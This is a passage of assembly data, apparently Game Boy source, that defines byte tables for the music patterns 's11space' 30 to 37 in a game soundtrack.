$0B, $11, $77, $01, $01, $28, $85, $0B, $03, $90, $01, $10, $18, $11, $77, $01, $01, $24, $89, $02 DB $02, $0B, $11, $77, $01, $01, $24, $85, $0B, $01, $1C, $04, $11, $55, $01, $01, $23, $89, $01, $28, $32, $02, $B7, $0B, $01, $04, $18, $11, $55, $01, $01, $23 DB $85, $0B, $12, $40, $11, $77, $01, $01, $24, $89, $02, $2B, $0B, $11, $77, $01, $01, $24, $85, $0B, $03, $A0, $01, $10, $20, $05, $00, $11, $77, $01, $01, $28 DB $89, $01, $28, $6E, $02, $67, $0B, $11, $55, $01, $01, $23, $85, $0B, $11, $55, $01, $01, $2B, $89, $03, $23, $02, $0B, $0B, $11, $77, $01, $01, $24, $85, $0B DB $03, $A0, $01, $04, $18, $11, $55, $01, $01, $2F, $89, $01, $28, $32, $03, $73, $02, $0B, $0B, $11, $77, $01, $01, $28, $85, $02, $02, $0B, $01, $10, $14, $11 DB $55, $01, $01, $2B, $89, $01, $28, $36, $02, $2B, $0B, $11, $55, $01, $01, $2B, $85, $02, $02, $0B, $01, $10, $1C, $11, $77, $01, $01, $28, $89, $01, $28, $3A DB $02, $2B, $0B, $11, $55, $01, $01, $2F, $85, $0B, $03, $90, $01, $10, $18, $11, $77, $01, $01, $24, $89, $02, $02, $03, $23, $02, $0B, $0B, $11, $55, $01, $01 DB $2B, $85, $00, $02, $07 SECTION "Ms11spaceP30", ROMX PATTERN_s11space30: DB $0A DB $03, $01, $17, $04, $11, $55, $01, $01, $1E, $89, $11, $CC, $02, $01, $2A, $32, $02, $B7, $0B, $01, $0B, $18, $0B, $12, $40, $11, $33, $01, $01, $23, $89, $02 DB $2B, $0C, $03, $A0, $01, $0B, $20, $05, $00, $11, $44, $01, $01, $26, $89, $0B, $11, $55, $01, $01, $1E, $85, $0B, $11, $55, $01, $01, $2A, $89, $01, $2A, $2E DB $03, $23, $02, $0B, $0B, $11, $33, $01, $01, $23, $85, $0B, $03, $A0, $01, $0B, $18, $11, $44, $01, $01, $26, $89, $03, $83, $02, $0B, $0B, $11, $44, $01, $01 DB $26, $85, $0B, $01, $17, $14, $11, $33, $01, $01, $23, $89, $0B, $11, $55, $01, $01, $2A, $85, $0B, $01, $17, $1C, $11, $55, $01, $01, $1E, $89, $02, $2B, $0B DB $11, $44, $01, $01, $26, $85, $0B, $03, $90, $01, $17, $18, $11, $33, $01, $01, $23, $89, $0B, $11, $33, $01, $01, $23, $85, $0B, $01, $17, $04, $11, $55, $01 DB $01, $1E, $89, $02, $B7, $0B, $01, $0B, $18, $11, $55, $01, $01, $1E, $85, $0B, $12, $40, $11, $33, $01, $01, $23, $89, $02, $2B, $0B, $11, $33, $01, $01, $23 DB $85, $0B, $03, $A0, $01, $17, $20, $05, $00, $11, $44, $01, $01, $26, $89, $11, $BB, $02, $02, $67, $0B, $11, $55, $01, $01, $1E, $85, $11, $AA, $02, $0B, $11 DB $55, $01, $01, $2A, $89, $11, $99, $02, $03, $23, $02, $0B, $0B, $11, $33, $01, $01, $23, $85, $11, $88, $02, $0B, $03, $A0, $01, $0B, $18, $11, $44, $01, $01 DB $26, $89, $11, $77, $02, $03, $83, $02, $0B, $0B, $11, $44, $01, $01, $26, $85, $11, $66, $02, $0B, $01, $17, $14, $11, $33, $01, $01, $23, $89, $11, $55, $02 DB $0B, $11, $55, $01, $01, $2A, $85, $11, $44, $02, $0B, $01, $17, $1C, $11, $55, $01, $01, $1E, $89, $11, $33, $02, $02, $2B, $0B, $11, $44, $01, $01, $26, $85 DB $11, $22, $02, $0B, $03, $90, $01, $17, $18, $11, $33, $01, $01, $23, $89, $11, $11, $02, $0B, $11, $33, $01, $01, $23, $85, $11, $00, $02, $0B, $01, $17, $04 DB $11, $55, $01, $01, $1E, $89, $11, $CC, $02, $01, $28, $32, $02, $B7, $0B, $01, $0B, $18, $0B, $12, $40, $11, $33, $01, $01, $23, $89, $02, $2B, $0C, $03, $A0 DB $01, $0B, $20, $05, $00, $11, $44, $01, $01, $26, $89, $0B, $11, $55, $01, $01, $1E, $85, $0B, $11, $55, $01, $01, $2A, $89, $01, $28, $2E, $03, $23, $02, $0B DB $0B, $11, $33, $01, $01, $23, $85, $0B, $03, $A0, $01, $0B, $18, $11, $44, $01, $01, $26, $89, $11, $77, $02, $03, $83, $02, $0B, $0B, $11, $44, $01, $01, $26 DB $85, $11, $66, $02, $0B, $01, $17, $14, $11, $33, $01, $01, $23, $89, $11, $55, $02, $0B, $11, $55, $01, $01, $2A, $85, $11, $44, $02, $0B, $01, $17, $1C, $11 DB $55, $01, $01, $1E, $89, $11, $33, $02, $02, $2B, $0B, $11, $44, $01, $01, $26, $85, $11, $22, $02, $0B, $03, $90, $01, $17, $18, $11, $33, $01, $01, $23, $89 DB $11, $11, $02, $0B, $11, $33, $01, $01, $23, $85, $11, $00, $02, $0B, $01, $17, $04, $11, $55, $01, $01, $1E, $89, $11, $CC, $02, $01, $26, $32, $02, $B7, $0B DB $01, $0B, $18, $0B, $12, $40, $11, $33, $01, $01, $23, $89, $02, $2B, $0C, $03, $A0, $01, $17, $20, $05, $00, $11, $44, $01, $01, $26, $89, $02, $A7, $0B, $11 DB $55, $01, $01, $1E, $85, $0B, $11, $55, $01, $01, $2A, $89, $01, $26, $2E, $0B, $11, $33, $01, $01, $23, $85, $0B, $03, $A0, $01, $23, $04, $11, $44, $01, $01 DB $26, $89, $0B, $11, $44, $01, $01, $26, $85, $11, $DD, $02, $0B, $01, $17, $14, $11, $33, $01, $01, $23, $89, $11, $EE, $02, $0B, $11, $55, $01, $01, $2A, $85 DB $11, $FF, $02, $0B, $01, $17, $1C, $11, $55, $01, $01, $1E, $89, $11, $CC, $02, $01, $31, $32, $0B, $11, $44, $01, $01, $26, $85, $0B, $03, $90, $01, $17, $18 DB $11, $33, $01, $01, $23, $89, $01, $32, $6E, $0B, $11, $33, $01, $01, $23, $85, $00, $02, $07 SECTION "Ms11spaceP31", ROMX PATTERN_s11space31: DB $0A DB $03, $03, $90, $01, $21, $04, $11, $44, $01, $01, $21, $89, $11, $47, $02, $01, $2D, $32, $02, $B7, $0C, $12, $40, $11, $33, $01, $01, $25, $89, $01, $15, $32 DB $05, $02, $02, $2B, $0C, $03, $A0, $01, $09, $20, $05, $00, $11, $55, $01, $01, $28, $89, $11, $47, $02, $01, $2D, $6E, $0B, $11, $44, $01, $01, $21, $85, $0B DB $11, $44, $01, $01, $2D, $89, $03, $23, $02, $0B, $0B, $11, $33, $01, $01, $25, $85, $0B, $03, $A0, $01, $09, $18, $11, $55, $01, $01, $28, $89, $03, $83, $02 DB $0B, $0B, $11, $55, $01, $01, $28, $85, $0B, $01, $15, $14, $11, $33, $01, $01, $25, $89, $0B, $11, $44, $01, $01, $2D, $85, $0B, $01, $15, $1C, $11, $44, $01 DB $01, $21, $89, $01, $39, $32, $02, $2B, $0B, $11, $55, $01, $01, $28, $85, $0B, $03, $90, $01, $15, $18, $11, $33, $01, $01, $25, $89, $01, $2D, $6E, $0B, $11 DB $33, $01, $01, $25, $85, $0B, $01, $21, $04, $11, $44, $01, $01, $21, $89, $01, $2D, $2E, $02, $B7, $0B, $11, $44, $01, $01, $21, $85, $0B, $12, $40, $11, $33 DB $01, $01, $25, $89, $02, $2B, $0B, $11, $33, $01, $01, $25, $85, $0B, $03, $A0, $01, $15, $20, $05, $00, $11, $55, $01, $01, $28, $89, $01, $39, $2E, $02, $67 DB $0B, $11, $44, $01, $01, $21, $85, $0B, $11, $44, $01, $01, $2D, $89, $01, $2D, $6E, $03, $23, $02, $0B, $0B, $11, $33, $01, $01, $25, $85, $0B, $03, $A0, $01 DB $09, $18, $11, $55, $01, $01, $28, $89, $01, $2D, $32, $03, $83, $02, $0B, $0B, $11, $55, $01, $01, $28, $85, $02, $02, $0B, $01, $15, $14, $11, $33, $01, $01 DB $25, $89, $01, $2D, $36, $0B, $11, $44, $01, $01, $2D, $85, $02, $02, $0B, $01, $15, $1C, $11, $44, $01, $01, $21, $89, $01, $2D, $3A, $02, $2B, $0B, $11, $55 DB $01, $01, $28, $85, $0B, $03, $90, $01, $15, $18, $11, $33, $01, $01, $25, $89, $02, $02, $0B, $11, $33, $01, $01, $25, $85, $0B, $01, $21, $04, $11, $44, $01 DB $01, $21, $89, $11, $67, $02, $01, $2D, $32, $02, $B7, $0B, $11, $44, $01, $01, $21, $85, $0B, $12, $40, $11, $33, $01, $01, $25, $89, $01, $15, $32, $05, $02 DB $02, $2B, $0B, $11, $33, $01, $01, $25, $85, $0B, $03, $A0, $01, $09, $20, $05, $00, $11, $66, $01, $01, $27, $89, $11, $67, $02, $01, $2D, $6E, $0B, $11, $44 DB $01, $01, $21, $85, $0B, $11, $59, $01, $01, $28, $89, $03, $23, $02, $0B, $0B, $11, $33, $01, $01, $25, $85, $0B, $03, $A0, $01, $09, $18, $11, $66, $01, $01 DB $27, $89, $01, $2D, $32, $03, $83, $02, $0B, $0B, $11, $66, $01, $01, $27, $85, $02, $02, $0B, $01, $15, $AC, $11, $33, $01, $01, $25, $89, $01, $2D, $36, $03 DB $63, $02, $0F, $0B, $11, $59, $01, $01, $28, $85, $02, $02, $0B, $01, $15, $1C, $11, $44, $01, $01, $21, $89, $01, $2D, $3A, $03, $83, $02, $13, $0B, $11, $66 DB $01, $01, $27, $85, $0B, $03, $90, $01, $15, $18, $11, $33, $01, $01, $25, $89, $02, $02, $0B, $11, $33, $01, $01, $25, $85, $0B, $01, $21, $04, $11, $44, $01 DB $01, $21, $89, $11, $47, $02, $01, $2D, $32, $02, $B7, $0B, $11, $44, $01, $01, $21, $85, $0B, $12, $40, $11, $33, $01, $01, $25, $89, $02, $2B, $0B, $11, $33 DB $01, $01, $25, $85, $0B, $03, $A0, $01, $15, $20, $05, $00, $11, $55, $01, $01, $28, $89, $01, $2D, $6E, $02, $67, $0B, $11, $44, $01, $01, $21, $85, $0B, $11 DB $44, $01, $01, $2D, $89, $03, $23, $02, $0B, $0B, $11, $33, $01, $01, $25, $85, $0B, $03, $B0, $01, $09, $18, $11, $55, $01, $01, $28, $89, $01, $2D, $32, $03 DB $83, $02, $0B, $0B, $11, $55, $01, $01, $28, $85, $02, $02, $0B, $01, $15, $98, $05, $00, $11, $33, $01, $01, $25, $89, $01, $2D, $36, $03, $63, $02, $0F, $0B DB $11, $44, $01, $01, $2D, $85, $02, $02, $0B, $03, $C0, $01, $09, $B0, $11, $44, $01, $01, $21, $89, $01, $2D, $3A, $03, $83, $02, $13, $0B, $11, $55, $01, $01 DB $28, $85, $0B, $03, $90, $01, $15, $18, $11, $33, $01, $01, $25, $89, $02, $02, $0B, $11, $33, $01, $01, $25, $85, $00, $02, $07 SECTION "Ms11spaceP32", ROMX PATTERN_s11space32: DB $0A DB $03, $01, $18, $04, $11, $55, $01, $01, $13, $89, $11, $CC, $02, $01, $18, $32, $02, $B7, $0C, $12, $00, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89 DB $0C, $03, $B0, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $04, $82, $01, $24, $2E, $03, $13, $02, $C7, $0C, $03, $80, $01, $00, $C0, $11, $55, $01, $01, $1B DB $89, $0C, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $0C, $03, $B0, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $80, $01, $00, $C0, $11 DB $55, $01, $01, $13, $89, $0C, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $B0, $01, $00, $C0, $11, $55, $01, $01, $13, $89, $0C, $12, $40 DB $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $B0, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $0C, $03, $80, $01, $00, $C0, $11, $55, $01 DB $01, $1B, $89, $0C, $03, $40, $01, $00, $C0, $11, $55, $01, $01, $1F, $89, $0C, $03, $B0, $01, $00, $C0, $11, $55, $01, $01, $1B, $89, $0C, $03, $80, $01, $00 DB $C0, $11, $77, $01, $01, $18, $89, $0C, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $B0, $01, $00, $C0, $11, $55, $01, $01, $13, $89, $11 DB $37, $02, $01, $24, $6E, $03, $23, $02, $C7, $0C, $12, $80, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $B0, $01, $00, $C0, $11, $77, $01 DB $01, $18, $89, $01, $24, $2E, $0C, $03, $80, $01, $00, $C0, $11, $55, $01, $01, $1B, $89, $0C, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $0C, $03 DB $B0, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $80, $01, $00, $C0, $11, $55, $01, $01, $13, $89, $01, $30, $6E, $0C, $03, $40, $01, $00, $C0, $11 DB $77, $01, $01, $14, $89, $01, $24, $6E, $0C, $03, $B0, $01, $00, $C0, $11, $55, $01, $01, $13, $89, $01, $24, $2E, $03, $13, $02, $C7, $0C, $12, $40, $03, $40 DB $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $B0, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $01, $30, $2E, $0C, $03, $80, $01, $00, $C0, $11, $55 DB $01, $01, $1B, $89, $01, $24, $6E, $0C, $03, $40, $01, $00, $C0, $11, $55, $01, $01, $1F, $89, $01, $24, $6E, $0B, $02, $02, $0B, $03, $B0, $01, $00, $C0, $11 DB $55, $01, $01, $1B, $89, $01, $24, $36, $0B, $02, $02, $0B, $03, $80, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $01, $24, $3A, $0C, $03, $40, $01, $00, $C0 DB $11, $77, $01, $01, $14, $89, $02, $02, $00, $05, $07 SECTION "Ms11spaceP33", ROMX PATTERN_s11space33: DB $0A DB $03, $01, $18, $04, $11, $55, $01, $01, $13, $89, $11, $44, $02, $01, $20, $32, $02, $B7, $0C, $12, $00, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89 DB $0C, $03, $B0, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $04, $82, $01, $20, $2E, $03, $13, $02, $C7, $0C, $03, $80, $01, $00, $C0, $11, $55, $01, $01, $1B DB $89, $0C, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $0C, $03, $B0, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $80, $01, $00, $C0, $11 DB $55, $01, $01, $13, $89, $0C, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $B0, $01, $00, $C0, $11, $55, $01, $01, $13, $89, $03, $23, $02 DB $C7, $0C, $12, $40, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $B0, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $0C, $03, $80, $01, $00 DB $C0, $11, $55, $01, $01, $1B, $89, $0C, $03, $40, $01, $00, $C0, $11, $55, $01, $01, $1F, $89, $0C, $03, $B0, $01, $00, $C0, $11, $55, $01, $01, $1B, $89, $0C DB $03, $80, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $0C, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $B0, $01, $00, $C0, $11, $55, $01 DB $01, $13, $89, $11, $38, $02, $01, $30, $32, $03, $33, $02, $C7, $0C, $12, $80, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $B0, $01, $00 DB $C0, $11, $77, $01, $01, $18, $89, $01, $30, $6E, $03, $63, $02, $C7, $0C, $03, $80, $01, $00, $C0, $11, $55, $01, $01, $1B, $89, $03, $33, $02, $C7, $0C, $03 DB $40, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $0C, $03, $B0, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $80, $01, $00, $C0, $11, $55, $01, $01 DB $13, $89, $01, $3C, $6E, $03, $53, $02, $C7, $0C, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $01, $30, $6E, $03, $33, $02, $C7, $0C, $03, $B0, $01 DB $00, $C0, $11, $55, $01, $01, $13, $89, $01, $30, $2E, $03, $23, $02, $C7, $0C, $12, $40, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $B0 DB $01, $00, $C0, $11, $77, $01, $01, $18, $89, $01, $3C, $2E, $0C, $03, $80, $01, $00, $C0, $11, $55, $01, $01, $1B, $89, $01, $30, $6E, $0C, $03, $40, $01, $00 DB $C0, $11, $55, $01, $01, $1F, $89, $01, $30, $6E, $03, $43, $02, $C7, $0B, $02, $02, $0B, $03, $B0, $01, $00, $C0, $11, $55, $01, $01, $1B, $89, $01, $30, $36 DB $03, $33, $02, $0F, $0B, $02, $02, $0B, $03, $80, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $01, $30, $3A, $03, $33, $02, $13, $0C, $03, $40, $01, $00, $C0 DB $11, $77, $01, $01, $14, $89, $02, $02, $03, $23, $02, $C7, $00, $05, $07 SECTION "Ms11spaceP34", ROMX PATTERN_s11space34: DB $0A DB $03, $01, $18, $04, $11, $55, $01, $01, $13, $89, $11, $44, $02, $01, $20, $32, $02, $B7, $0C, $12, $00, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89 DB $0C, $03, $B0, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $04, $82, $01, $20, $2E, $03, $13, $02, $C7, $0C, $03, $80, $01, $00, $C0, $11, $55, $01, $01, $1B DB $89, $0C, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $0C, $03, $B0, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $80, $01, $00, $C0, $11 DB $55, $01, $01, $13, $89, $0C, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $B0, $01, $00, $C0, $11, $55, $01, $01, $13, $89, $03, $23, $02 DB $C7, $0C, $12, $40, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $B0, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $0C, $03, $80, $01, $00 DB $C0, $11, $55, $01, $01, $1B, $89, $0C, $03, $40, $01, $00, $C0, $11, $55, $01, $01, $1F, $89, $11, $CC, $02, $01, $14, $6E, $0B, $11, $BB, $02, $0B, $03, $B0 DB $01, $00, $C0, $11, $55, $01, $01, $1B, $89, $11, $AA, $02, $0B, $11, $99, $02, $0B, $03, $80, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $11, $88, $02, $0B DB $11, $77, $02, $0B, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $11, $66, $02, $0B, $11, $55, $02, $0B, $03, $90, $01, $08, $18, $11, $55, $01, $01 DB $13, $89, $11, $38, $02, $01, $30, $32, $03, $33, $02, $C7, $0C, $12, $40, $11, $77, $01, $01, $14, $89, $01, $18, $6E, $05, $02, $0C, $03, $90, $01, $14, $20 DB $05, $00, $11, $77, $01, $01, $18, $89, $11, $38, $02, $01, $30, $2E, $03, $63, $02, $C7, $0C, $11, $55, $01, $01, $1B, $89, $03, $33, $02, $C7, $0C, $03, $A0 DB $01, $08, $18, $11, $77, $01, $01, $18, $89, $01, $30, $6E, $0B, $02, $00, $0B, $01, $14, $14, $11, $77, $01, $01, $14, $89, $0B, $02, $00, $0B, $01, $14, $1C DB $11, $55, $01, $01, $13, $89, $03, $53, $02, $C7, $0C, $03, $90, $01, $14, $18, $11, $77, $01, $01, $14, $89, $03, $33, $02, $C7, $0C, $03, $30, $01, $14, $18 DB $11, $55, $01, $01, $13, $89, $11, $CC, $02, $01, $38, $6E, $03, $93, $02, $0B, $0B, $03, $40, $01, $14, $20, $01, $37, $6E, $0B, $03, $50, $01, $14, $18, $11 DB $77, $01, $01, $14, $89, $01, $36, $6E, $02, $A7, $0B, $03, $60, $01, $14, $20, $01, $35, $6E, $0B, $03, $70, $01, $14, $18, $11, $77, $01, $01, $18, $89, $01 DB $34, $6E, $0B, $01, $14, $20, $01, $33, $6E, $0B, $03, $80, $01, $14, $18, $11, $55, $01, $01, $1B, $89, $01, $32, $6E, $0B, $01, $14, $20, $01, $31, $6E, $0B DB $03, $90, $01, $14, $18, $11, $77, $01, $01, $18, $89, $01, $30, $32, $0B, $01, $14, $20, $11, $88, $01, $01, $18, $89, $01, $2F, $32, $0B, $03, $A0, $01, $14 DB $18, $11, $99, $01, $01, $18, $89, $01, $2E, $32, $0B, $01, $14, $20, $11, $AA, $01, $01, $18, $89, $01, $2D, $32, $0B, $03, $B0, $01, $14, $18, $11, $BB, $01 DB $01, $18, $89, $01, $2C, $32, $0B, $03, $C0, $01, $13, $18, $11, $CC, $01, $01, $18, $89, $01, $2B, $32, $0B, $03, $D0, $01, $12, $18, $11, $DD, $01, $01, $18 DB $89, $01, $2A, $32, $0B, $03, $E0, $01, $11, $18, $11, $EE, $01, $01, $18, $89, $01, $29, $32, $00, $02, $07 SECTION "Ms11spaceP35", ROMX PATTERN_s11space35: DB $0A DB $03, $01, $18, $04, $11, $55, $01, $01, $13, $89, $11, $CC, $02, $01, $18, $32, $02, $B7, $0C, $12, $00, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89 DB $0C, $03, $B0, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $04, $82, $01, $24, $2E, $03, $13, $02, $C7, $0C, $03, $80, $01, $00, $C0, $11, $55, $01, $01, $1B DB $89, $0C, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $0C, $03, $B0, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $80, $01, $00, $C0, $11 DB $55, $01, $01, $13, $89, $0C, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $B0, $01, $00, $C0, $11, $55, $01, $01, $13, $89, $03, $23, $02 DB $C7, $0C, $12, $40, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $B0, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $0C, $03, $80, $01, $00 DB $C0, $11, $55, $01, $01, $1B, $89, $0C, $03, $40, $01, $00, $C0, $11, $55, $01, $01, $1F, $89, $0C, $03, $B0, $01, $00, $C0, $11, $55, $01, $01, $1B, $89, $0C DB $03, $80, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $0C, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $B0, $01, $00, $C0, $11, $55, $01 DB $01, $13, $89, $11, $37, $02, $01, $24, $6E, $03, $33, $02, $C7, $0C, $12, $80, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $B0, $01, $00 DB $C0, $11, $77, $01, $01, $18, $89, $01, $24, $2E, $03, $63, $02, $C7, $0C, $03, $80, $01, $00, $C0, $11, $55, $01, $01, $1B, $89, $03, $33, $02, $C7, $0C, $03 DB $40, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $0C, $03, $B0, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $80, $01, $00, $C0, $11, $55, $01, $01 DB $13, $89, $01, $30, $6E, $03, $53, $02, $C7, $0C, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $01, $24, $6E, $03, $33, $02, $C7, $0C, $03, $B0, $01 DB $00, $C0, $11, $55, $01, $01, $13, $89, $01, $24, $2E, $03, $23, $02, $C7, $0C, $12, $40, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $0C, $03, $B0 DB $01, $00, $C0, $11, $77, $01, $01, $18, $89, $01, $30, $2E, $0C, $03, $80, $01, $00, $C0, $11, $55, $01, $01, $1B, $89, $01, $24, $6E, $0C, $03, $40, $01, $00 DB $C0, $11, $55, $01, $01, $1F, $89, $01, $24, $6E, $0B, $02, $02, $0B, $03, $B0, $01, $00, $C0, $11, $55, $01, $01, $1B, $89, $01, $24, $36, $0B, $02, $02, $0B DB $03, $80, $01, $00, $C0, $11, $77, $01, $01, $18, $89, $01, $24, $3A, $0C, $03, $40, $01, $00, $C0, $11, $77, $01, $01, $14, $89, $02, $02, $00, $05, $07 SECTION "Ms11spaceP36", ROMX PATTERN_s11space36: DB $0A DB $03, $03, $A0, $01, $24, $04, $11, $55, $01, $01, $1F, $89, $11, $59, $02, $01, $2B, $32, $02, $B7, $0C, $12, $40, $11, $44, $01, $01, $24, $89, $01, $24, $32 DB $05, $02, $02, $2B, $0C, $03, $90, $01, $0C, $20, $05, $00, $11, $33, $01, $01, $28, $89, $11, $59, $02, $01, $2B, $32, $0B, $11, $55, $01, $01, $1F, $85, $0B DB $11, $55, $01, $01, $2B, $89, $03, $23, $02, $0B, $0B, $11, $44, $01, $01, $24, $85, $0B, $03, $A0, $01, $0C, $18, $11, $33, $01, $01, $28, $89, $03, $83, $02 DB $0B, $0B, $11, $33, $01, $01, $28, $85, $0B, $01, $18, $14, $11, $44, $01, $01, $24, $89, $0B, $11, $55, $01, $01, $2B, $85, $0B, $01, $18, $1C, $11, $55, $01 DB $01, $1F, $89, $02, $2B, $0B, $11, $33, $01, $01, $28, $85, $0B, $03, $90, $01, $18, $18, $11, $44, $01, $01, $24, $89, $0B, $11, $44, $01, $01, $24, $85, $0B DB $03, $A0, $01, $24, $04, $11, $55, $01, $01, $1F, $89, $01, $2B, $6E, $02, $B7, $0B, $11, $55, $01, $01, $1F, $85, $0B, $12, $40, $11, $44, $01, $01, $24, $89 DB $02, $2B, $0B, $11, $44, $01, $01, $24, $85, $0B, $03, $90, $01, $18, $20, $05, $00, $11, $33, $01, $01, $28, $89, $02, $67, $0B, $11, $55, $01, $01, $1F, $85 DB $0B, $11, $55, $01, $01, $2B, $89, $03, $23, $02, $0B, $0B, $11, $44, $01, $01, $24, $85, $0B, $03, $A0, $01, $0C, $18, $11, $33, $01, $01, $28, $89, $01, $2B DB $6E, $03, $83, $02, $0B, $0B, $11, $33, $01, $01, $28, $85, $02, $02, $0B, $01, $18, $14, $11, $44, $01, $01, $24, $89, $01, $2B, $36, $0B, $11, $55, $01, $01 DB $2B, $85, $02, $02, $0B, $01, $18, $1C, $11, $55, $01, $01, $1F, $89, $01, $2B, $3A, $02, $2B, $0B, $11, $33, $01, $01, $28, $85, $0B, $03, $90, $01, $18, $18 DB $11, $44, $01, $01, $24, $89, $02, $02, $0B, $11, $44, $01, $01, $24, $85, $0B, $03, $A0, $01, $24, $04, $11, $55, $01, $01, $1F, $89, $11, $5B, $02, $01, $2B DB $32, $02, $B7, $0B, $11, $55, $01, $01, $1F, $85, $0B, $12, $40, $11, $44, $01, $01, $24, $89, $01, $24, $32, $05, $02, $02, $2B, $0B, $11, $44, $01, $01, $24 DB $85, $0B, $03, $90, $01, $0C, $20, $05, $00, $11, $22, $01, $01, $28, $89, $11, $5B, $02, $01, $2B, $32, $0B, $11, $55, $01, $01, $1F, $85, $0B, $11, $66, $01 DB $01, $2A, $89, $03, $23, $02, $0B, $0B, $11, $44, $01, $01, $24, $85, $0B, $03, $A0, $01, $0C, $18, $11, $22, $01, $01, $28, $89, $03, $83, $02, $0B, $0B, $11 DB $22, $01, $01, $28, $85, $0B, $01, $18, $14, $11, $44, $01, $01, $24, $89, $03, $63, $02, $0F, $0B, $11, $66, $01, $01, $2A, $85, $0B, $01, $18, $1C, $11, $55 DB $01, $01, $1F, $89, $01, $37, $6E, $03, $83, $02, $13, $0B, $11, $22, $01, $01, $28, $85, $0B, $03, $90, $01, $18, $18, $11, $44, $01, $01, $24, $89, $01, $2B DB $6E, $0B, $11, $44, $01, $01, $24, $85, $0B, $03, $A0, $01, $24, $04, $11, $44, $01, $01, $24, $89, $11, $47, $02, $01, $30, $32, $02, $B7, $0B, $11, $55, $01 DB $01, $1F, $85, $0B, $12, $40, $11, $33, $01, $01, $28, $89, $01, $24, $32, $05, $02, $02, $2B, $0B, $11, $44, $01, $01, $24, $85, $0B, $03, $90, $01, $18, $20 DB $05, $00, $11, $55, $01, $01, $2B, $89, $11, $47, $02, $01, $30, $32, $02, $67, $0B, $11, $44, $01, $01, $24, $85, $0B, $11, $44, $01, $01, $30, $89, $03, $23 DB $02, $0B, $0B, $11, $33, $01, $01, $28, $85, $0B, $03, $A0, $01, $0C, $18, $11, $44, $01, $01, $30, $89, $11, $38, $02, $01, $34, $32, $03, $83, $02, $0B, $0B DB $11, $55, $01, $01, $2B, $85, $0B, $01, $18, $98, $05, $00, $11, $33, $01, $01, $34, $89, $01, $24, $32, $05, $02, $03, $63, $02, $0F, $0B, $11, $44, $01, $01 DB $30, $85, $0B, $01, $18, $1C, $11, $55, $01, $01, $37, $89, $11, $38, $02, $01, $34, $32, $03, $83, $02, $13, $0B, $11, $44, $01, $01, $30, $85, $0B, $03, $90 DB $01, $17, $18, $11, $44, $01, $01, $3C, $89, $0B, $11, $33, $01, $01, $34, $85, $00, $02, $07 SECTION "Ms11spaceP37", ROMX PATTERN_s11space37: DB $0A DB $03, $01, $13, $04, $11, $44, $01, $01, $1F, $89, $11, $CC, $02, $01, $33, $32, $02, $B7, $0B, $01, $07, $18, $0B, $12, $40, $11, $33, $01, $01, $23, $89, $02 DB $2B, $0C, $03, $A0, $01, $07, $20, $05, $00, $11, $44, $01, $01, $23, $89, $01, $27, $6E, $0B, $11, $44, $01, $01, $1F, $85, $0B, $11, $44, $01, $01, $27, $89 DB $03, $23, $02, $0B, $0B, $11, $33, $01, $01, $23, $85, $0B, $03, $A0, $01, $07, $18, $11, $44, $01, $01, $23, $89, $11, $CC, $02, $01, $26, $32, $03, $83, $02 DB $0B, $0B, $11, $44, $01, $01, $23, $85, $02, $02, $0B, $01, $13, $14, $11, $33, $01, $01, $23, $89, $01, $26, $36, $0B, $11, $44, $01, $01, $27, $85, $02, $02 DB $0B, $01, $13, 